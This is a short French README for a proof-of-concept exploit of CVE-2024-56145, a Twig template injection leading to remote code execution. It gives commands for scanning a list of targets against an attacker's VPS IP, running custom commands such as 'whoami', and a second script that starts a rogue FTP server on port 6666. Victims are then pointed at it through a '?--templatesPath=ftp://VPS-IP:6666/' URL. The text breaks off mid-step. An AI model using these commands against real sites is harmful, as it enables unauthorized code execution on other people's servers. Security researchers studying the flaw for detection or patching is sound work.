
CVE-2024-56145 SSTI vers RCE - templates Twig
fuser -k 6666/tcp
python3 poc.py -f targets.txt -i 127.0.0.1 -pr 4 -t 200
Une commande personnalisée peut être utilisée comme python3 poc.py -f targets.txt -i 127.0.0.1 -c "whoami"
-i est votre IP ou l'IP de votre VPS (utilisez celle-ci en faisant ipconfig / ifconfig.
Exemple - python3 poc.py -f targets.txt -i 165.22.104.140 -pr 4 -t 200
Et maintenant ? Vous avez une cible vulnérable mais vous voulez aller plus loin ? J'ai donc ajouté poc2.py pour un test manuel contre la cible. Comment faire ?
faites fuser -k 6666/tcp
1. Exécutez poc2.py (le port 6666 est démarré en tant que FTP).
2. Ouvrez le navigateur yourtarget.com/?--templatesPath=ftp://VPS-IP:6666/
3. vous verrez -

Écrit par Chirag Artani (https://x.com/Chirag99Artani)